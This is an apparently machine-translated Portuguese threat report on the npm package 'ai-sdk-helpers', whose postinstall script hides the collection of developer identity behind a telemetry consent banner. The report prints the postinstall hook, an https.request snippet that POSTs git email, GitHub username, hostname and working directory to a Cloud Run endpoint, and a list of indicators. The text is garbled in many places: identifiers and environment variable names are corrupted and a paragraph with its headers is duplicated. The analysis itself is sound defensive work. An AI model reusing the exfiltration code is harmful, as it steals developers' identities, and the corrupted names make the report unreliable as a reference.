TL, DR
Um único pacote npm, auxiliares do SDK de IA, apresenta-se como um conjunto de ferramentas de produção para o SDK de IA da Vercel, oferecendo rastreamento de custos, fallback de provedor e auxiliares de streaming.
O script de instalação abre com um banner de divulgação bem elaborado, descrevendo diagnósticos anônimos, prometendo que nenhum código-fonte, token ou credencial será transmitido, respeitando um DO_NOT_TRACK opção de desativação e link para uma página de política de telemetria.
O mesmo script lê então a identidade git do desenvolvedor, a configuração da CLI do GitHub, o nome do host da máquina, o nome de usuário do sistema operacional, o diretório de trabalho e o provedor de CI.
Esses dados são enviados via POST em formato JSON para um endpoint do Google Cloud Run, criando uma clara discrepância entre a política de telemetria declarada e os campos efetivamente coletados.
O pacote foi publicado em vinte e duas versões dentro de uma única sequência de 83 segundos, e o script de instalação é idêntico, byte a byte, em todas as versões sinalizadas.
Sete das oito versões analisadas pela nossa equipe pipeline Foram consideradas inconclusivas pelo classificador de aprendizado de máquina porque o estilo do banner de consentimento se assemelha a dados de telemetria legítimos.
Nós classificamos ai-sdk-helpers como malicioso com base na coleta e exfiltração de identidade do desenvolvedor durante a instalação.
Gravidade: alta.
Anatomia da instalação
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }pós-instalação executa automaticamente em npm install, antes mesmo de qualquer código anunciado pelo pacote ser importado. O script scripts/postinstall.js É onde reside todo o comportamento relacionado ao tempo de instalação.
O texto começa com um bloco de comentários e um aviso de tempo de execução escrito no registro de um projeto de código aberto que preza pela privacidade:
Ao instalar o ai-sdk-helpers, executamos uma rápida verificação de compatibilidade do ambiente e geramos um relatório de diagnósticos anônimos. Os dados são totalmente anônimos — coletamos sua plataforma, versão do Node e um hash unidirecional do identificador da sua máquina. Nenhum código-fonte, token ou credencial é transmitido.
Ele até mesmo implementa um mecanismo de desativação funcional, o primeiro código executável no arquivo:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }O fato de o primeiro passo ser colocar esse portão é o que dá a impressão de consenso em relação ao restante: um incorporador que define `D_NÃO_RASTREIE` O sistema conclui a instalação silenciosamente e finaliza que o pacote respeita a convenção. A opção de desativação respeitada é real. O que ela bloqueia, para todos que não a configuram, é a coleta descrita abaixo — não a mais restrita “plataforma, versão do Node e um hash unidirecional” mencionada no aviso.
Abaixo desse portão, o script monta uma carga útil que vai muito além dessa descrição.
- *Gidentidade.* rresolverScmIdentidade()` cabeças `~.gitconfig`,`~.config/git/config`,e o projeto atual.ele/config`,analisa o `[ser]` e retorna a configuração commit email. Se nenhum arquivo de configuração gerar um email, o sistema recorrerá ao `G`.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,e `EAIL` variáveis de ambiente. Uma docstring acima da função descreve a leitura como uma forma de "eliminar instalações duplicadas em máquinas pertencentes à mesma pessoa (por exemplo, laptop + CI)" — um propósito declarado que requer um identificador estável por desenvolvedor, o qual commit suprimentos de e-mail.
- *GConta tHub.* rsolveGitHubIdentity()` cabeças `~.config/gh/hosts.yml` e `~.config/gh/hosts.yaml` o arquivo de configuração escrito pela CLI do GitHub quando um desenvolvedor se autentica — e extrai o `u` por meio de expressão regularer:` e `emal:` ields. Esse arquivo também armazena o token OAuth do GitHub; a expressão regular do script tem como alvo específico as linhas de nome de usuário e e-mail e não extrai o token. A afirmação do banner de divulgação de que “nenhum token… jamais é transmitido” é, portanto, literalmente verdadeira para esse campo específico, enquanto os identificadores de conta adjacentes são lidos e enviados.
- *Hst e impressão digital CI.* o script então coleta `o.hostname()`,`o.userInfo().username`,a versão, plataforma e arquitetura do Node, `pocess.cwd()`,e um rótulo de provedor de CI resolvido pela verificação de variáveis de ambiente para oito provedores (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite e duas flags genéricas de CI). A lista de provedores funciona como um inventário de onde o script espera ser executado — shells interativos e builds automatizados. pipelineé igual.
Todos esses itens estão agrupados em um único `d`.agnósticos objeto, com os campos por desenvolvedor coletados sob um `ientidade` e os dados do host sob `rntime` e `cntexto` olhos, depois serializados e transmitidos:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();A resposta é descartada e todos os erros são ignorados — um comentário observa que “a telemetria nunca deve interromper a instalação”. O nome do host do endpoint codifica um serviço do Google Cloud Run no `e`.corda-oeste1` região.
A lacuna é o tema central. O banner menciona três categorias de dados: plataforma, versão do Node e hash do identificador da máquina. A carga útil envia o git real de um desenvolvedor. commit email, nome de usuário e email do GitHub, nome do host da máquina e nome da conta do sistema operacional, caminho do projeto e ambiente de CI. Os campos que identificam um *prson e suas contas* são exatamente os campos que a divulgação omite.
O arquivo README reforça o enquadramento do outro lado. Sua seção “Telemetria” repete a alegação de anonimato e inclui a palavra “D” no título._NÃO_RASTREIE` o `cnsoledonottrack.com`,a verdadeira página da comunidade que documenta a convenção de exclusão — utilizando uma política de privacidade reconhecida standard para que o aviso pareça rotineiro.
Timeline
Trata-se de um achado de pacote único com um histórico de publicação muito curto e denso. Não há um arco de campanha de várias semanas para rastrear — toda a gama de versões foi lançada em velocidade de máquina.
| Quando (UTC) | Evento |
|---|---|
| 2026-06-03 20:31:20 | Primeira versão (0.1.0) publicado no npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Todas as 22 versões (0.1.0 através de 1.4.2) publicado em uma sequência automatizada de 83 segundos. |
| 2026-06-04 | Oito versões foram sinalizadas pelos indicadores de detecção; a análise manual confirma a coleta e exfiltração de identidade durante a instalação. O pacote permanecia ativo no npm no momento da análise. |
A janela de 83 segundos em 22 versões semânticas é, por si só, um indicador comportamental: a escala de versões (`01.0`,`01.1`,… `14.2`)Apresenta a superfície de um projeto com manutenção ativa e histórico de versões, gerado em uma única execução de script. O script de instalação não muda ao longo dessa sequência — veja abaixo.
Indicadores de compromisso
A carga útil de instalação é idêntica em toda a gama de versões publicadas. Um `dff` f `sripts/postinstall.js` entre a versão `02.1` nd versão `14.2` Não retorna diferenças; o comportamento é uma impressão digital fixa, não uma carga útil em evolução.
Network
A janela de 83 segundos em 22 versões semânticas é, por si só, um indicador comportamental: a escala de versões (`01.0`,`01.1`,… `14.2`)Apresenta a superfície de um projeto com manutenção ativa e histórico de versões, gerado em uma única execução de script. O script de instalação não muda ao longo dessa sequência — veja abaixo.
Indicadores de compromisso
A carga útil de instalação é idêntica em toda a gama de versões publicadas. Um `dff` f `sripts/postinstall.js` entre a versão `02.1` nd versão `14.2` Não retorna diferenças; o comportamento é uma impressão digital fixa, não uma carga útil em evolução.
Network
| Indicador | Tipo |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Endpoint de exfiltração que recebe solicitações HTTPS POST com payloads JSON. Hospedado no Google Cloud Run. europe-west1 região. |
Infraestrutura de isca
| Indicador | Tipo |
|---|---|
ai-sdk.guide | Página inicial do pacote e site ativo que reforçam a identidade do autor do "Guia do SDK de IA". |
ai-sdk.guide/telemetry | URL da política de telemetria mencionada no aviso de divulgação durante a instalação. |
hello@ai-sdk.guide | E-mail do autor declarado em package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Repositório de origem declarado pelo pacote. |
Arquivos lidos durante a instalação
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` enviar
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` CLI do GitHub `uer` `eail`
Assinaturas comportamentais
- – m `pstinstall` também invocando um script Node agrupado
- – opção de exclusão (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NÃO_RASTREIE`)Apresentado como um recurso de privacidade, antes da coleta de identidade.
- – tbound HTTPS POST de um objeto JSON contendo e-mail do Git, identidade do GitHub, nome do host, nome de usuário do SO, diretório de trabalho atual e rótulo CI
- – Script de instalação idêntico em uma série de versões publicadas rapidamente.
Atribuição e comportamento observado
Não atribuímos nada além do que consta nos metadados do pacote e do registro.
O responsável pela manutenção do npm é a conta `aielsimon`,com o endereço `aiel@vigilance.security`.O registro lista esse e-mail como não verificado e a identidade de controle de origem da conta como não verificada. O `pckage.json`,separadamente, apresenta o autor como “Guia do SDK de IA `ello@ai-sdk.guide>`”com uma página inicial de `a-sdk.guide` e um repositório de código-fonte sob um `gthub.com/ai-sdk-guide` organização. O domínio de e-mail da conta de publicação (`vigilance.security`)e a identidade do autor no pacote (`a-sdk.guide`)São domínios diferentes.
O `a-sdk.guide` O site está ativo e responde, e o `/elemetria` ath resolve o problema — a identidade falsa é respaldada por uma presença online acessível, em vez de um link quebrado, o que aumenta a credibilidade da apresentação do pacote.
**Funcionalidade observada.** Durante a instalação, o pacote lê os arquivos de identidade e configuração da conta do desenvolvedor, identifica o host e o ambiente de CI e transmite o resultado para um endpoint controlado pelo operador, exibindo um aviso que descreve um conjunto de dados mais restrito e anonimizado. Descrevemos esse comportamento, mas não apresentamos uma justificativa para ele. Os leitores que avaliarem o pacote — incluindo qualquer pessoa que reconheça a identidade do autor — devem considerar a discrepância observável entre os fluxos de dados declarados e reais.
Impacto, tendências e orientações para defensores
Quem está exposto. Qualquer pessoa que instale auxiliares do SDK de IA — direta ou indiretamente — executa a coleção nessa máquina. Porque o gatilho é pós-instalaçãoO código da biblioteca anunciada nunca precisa ser importado para que o fluxo de dados ocorra; a instalação por si só é suficiente. Os ambientes de maior valor são estações de trabalho de desenvolvedores com uma identidade Git configurada e uma CLI do GitHub autenticada, e executores de CI, onde a detecção do provedor de CI do script indica que a coleção deve ser executada dentro do processo de build. pipelinetanto em computadores quanto em laptops.
O que isso revela. Não se trata de segredos de aplicativos no caso geral — a carga útil se concentra em identidade: o desenvolvedor commit email, nome e email da conta do GitHub, nome da máquina e da conta, e o caminho do projeto. Isso é um pré-requisito.cise um mapa de quem instalou o pacote, em qual máquina, em qual repositório e sob qual sistema de CI. Para uma organização, um punhado desses registros reunidos enumeraria quais engenheiros e quais sistemas de compilação utilizaram a dependência — útil como um precursor para atividades subsequentes mais direcionadas, mesmo que o comportamento deste pacote em si se limite à coleta e transmissão.
A tendência: telemetria como fachada. Ferramentas legítimas para desenvolvedores coletam diagnósticos de instalação anonimizados, e existem convenções para fazer isso de forma respeitosa — um aviso de divulgação, um NÃO_RASTREAR Honra, uma opção de exclusão, um URL de política — são bem conhecidos. auxiliares do SDK de IA Reproduz fielmente todas as quatro convenções e as utiliza como estrutura para a coleta de identidade. A presença de um banner de consentimento, uma opção de desativação funcional ou um link para a política de privacidade não comprovam a confiabilidade de um pacote; esses controles são fáceis de imitar. A única verificação confiável é o que o código realmente lê e para onde ele realmente envia os dados.
Essa embalagem também tem um efeito mensurável na triagem automatizada. Em todas as versões do nosso produto, pipeline Após revisão, os comentários em linguagem simples do script de instalação, os nomes de campos estruturados e a opção de desativação convencional foram classificados como telemetria comum: sete dos oito itens retornaram. inconsequente do classificador de aprendizado de máquina, e não de forma maliciosa. O sinal que resolve a ambiguidade não está na prosa — está nos arquivos específicos que o script abre (~ / .gitconfig, ~/.config/gh/hosts.yml) e o destino para o qual envia. Um revisor, automatizado ou humano, que lê a divulgação e para por aí chegará a uma conclusão errada; a determinação deve vir dos fatos do fluxo de dados.
Orientações para defensores:
- Instalar com scripts desativados por padrão — npm install --ignore-scripts, ou definir ignore-scripts=true in .npmrc e execute etapas de compilação verificadas explicitamente. Isso neutraliza pós-instalação-coleta acionada em todos os níveis.
- Não interprete as opções de desativação como sinais de confiança. NÃO_RASTREAR Uma verificação ou um link de "política de telemetria" não fornece nenhuma informação sobre os dados que um script coleta quando o portão não está configurado.
- Leia o guia de instalação antes de adotar pacotes auxiliares do ecossistema de IA. O espaço do SDK de IA da Vercel é um alvo de alta confiança e em constante evolução; um pós-instalação que toca ~ / .gitconfig or ~/.config/gh/ É um sinal claro, independentemente de como os comentários ao redor sejam escritos.
- Monitore a saída durante a compilação. Um POST HTTPS de saída durante npm install, especialmente para um endpoint de função em nuvem recém-provisionado, é observável na camada de rede e é um forte ponto de detecção para ambientes de CI.
- Fique atento a versões compactadas. Um pacote cujo histórico semântico completo de versões aparece em segundos, com um script de instalação imutável, está apresentando um histórico de manutenção fabricado.






